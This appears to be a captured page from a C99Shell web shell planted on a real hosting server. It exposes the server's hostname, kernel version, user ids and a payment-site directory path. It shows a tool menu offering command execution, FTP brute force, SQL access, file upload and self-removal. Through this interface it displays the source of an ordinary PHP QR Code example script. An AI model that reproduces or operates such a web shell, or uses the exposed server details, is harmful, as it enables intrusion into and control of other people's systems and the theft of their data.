!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/php/phpqrcode/   drwxr-xr-x
Free 182.62 GB of 490.84 GB (37.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (3.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php    
/*
 * PHP QR Code encoder
 *
 * Exemplatory usage
 *
 * PHP QR Code is distributed under LGPL 3
 * Copyright (C) 2010 Dominik Dzienia <deltalab at poczta dot fm>
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
 */
    
    
echo "<h1>PHP QR Code</h1><hr/>";
    
    
//set it to writable location, a place for temp generated PNG files
    
$PNG_TEMP_DIR dirname(__FILE__).DIRECTORY_SEPARATOR.'temp'.DIRECTORY_SEPARATOR;
    
    
//html PNG location prefix
    
$PNG_WEB_DIR 'temp/';

    include 
"qrlib.php";    
    
    
//ofcourse we need rights to create temp dir
    
if (!file_exists($PNG_TEMP_DIR))
        
mkdir($PNG_TEMP_DIR);
    
    
    
$filename $PNG_TEMP_DIR.'test.png';
    
    
//processing form input
    //remember to sanitize user input in real-life solution !!!
    
$errorCorrectionLevel 'L';
    if (isset(
$_REQUEST['level']) && in_array($_REQUEST['level'], array('L','M','Q','H')))
        
$errorCorrectionLevel $_REQUEST['level'];    

    
$matrixPointSize 4;
    if (isset(
$_REQUEST['size']))
        
$matrixPointSize min(max((int)$_REQUEST['size'], 1), 10);


    if (isset(
$_REQUEST['data'])) { 
    
        
//it's very important!
        
if (trim($_REQUEST['data']) == '')
            die(
'data cannot be empty! <a href="?">back</a>');
            
        
// user data
        
$filename $PNG_TEMP_DIR.'test'.md5($_REQUEST['data'].'|'.$errorCorrectionLevel.'|'.$matrixPointSize).'.png';
        
QRcode::png($_REQUEST['data'], $filename$errorCorrectionLevel$matrixPointSize2);    
        
    } else {    
    
        
//default data
        
echo 'You can provide data in GET parameter: <a href="?data=like_that">like that</a><hr/>';    
        
QRcode::png('PHP QR Code :)'$filename$errorCorrectionLevel$matrixPointSize2);    
        
    }    
        
    
//display generated file
    
echo '<img src="'.$PNG_WEB_DIR.basename($filename).'" /><hr/>';  
    
    
//config form
    
echo '<form action="index.php" method="post">
        Data:&nbsp;<input name="data" value="'
.(isset($_REQUEST['data'])?htmlspecialchars($_REQUEST['data']):'PHP QR Code :)').'" />&nbsp;
        ECC:&nbsp;<select name="level">
            <option value="L"'
.(($errorCorrectionLevel=='L')?' selected':'').'>L - smallest</option>
            <option value="M"'
.(($errorCorrectionLevel=='M')?' selected':'').'>M</option>
            <option value="Q"'
.(($errorCorrectionLevel=='Q')?' selected':'').'>Q</option>
            <option value="H"'
.(($errorCorrectionLevel=='H')?' selected':'').'>H - best</option>
        </select>&nbsp;
        Size:&nbsp;<select name="size">'
;
        
    for(
$i=1;$i<=10;$i++)
        echo 
'<option value="'.$i.'"'.(($matrixPointSize==$i)?' selected':'').'>'.$i.'</option>';
        
    echo 
'</select>&nbsp;
        <input type="submit" value="GENERATE"></form><hr/>'
;
        
    
// benchmark
    
QRtools::timeBenchmark();    

    

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0088 ]--